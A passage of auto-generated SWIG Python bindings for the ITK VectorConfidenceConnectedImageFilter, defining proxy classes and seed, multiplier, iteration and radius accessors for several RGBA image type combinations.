itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_swigregister
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_swigregister(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
def itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 *":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3(itkImageToImageFilterBPython.itkImageToImageFilterIRGBAUC3ISS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self) -> itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_swigregister
itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_swigregister(itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3)
def itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3 *":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3(itkImageToImageFilterBPython.itkImageToImageFilterIRGBAUC3IUC3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self) -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
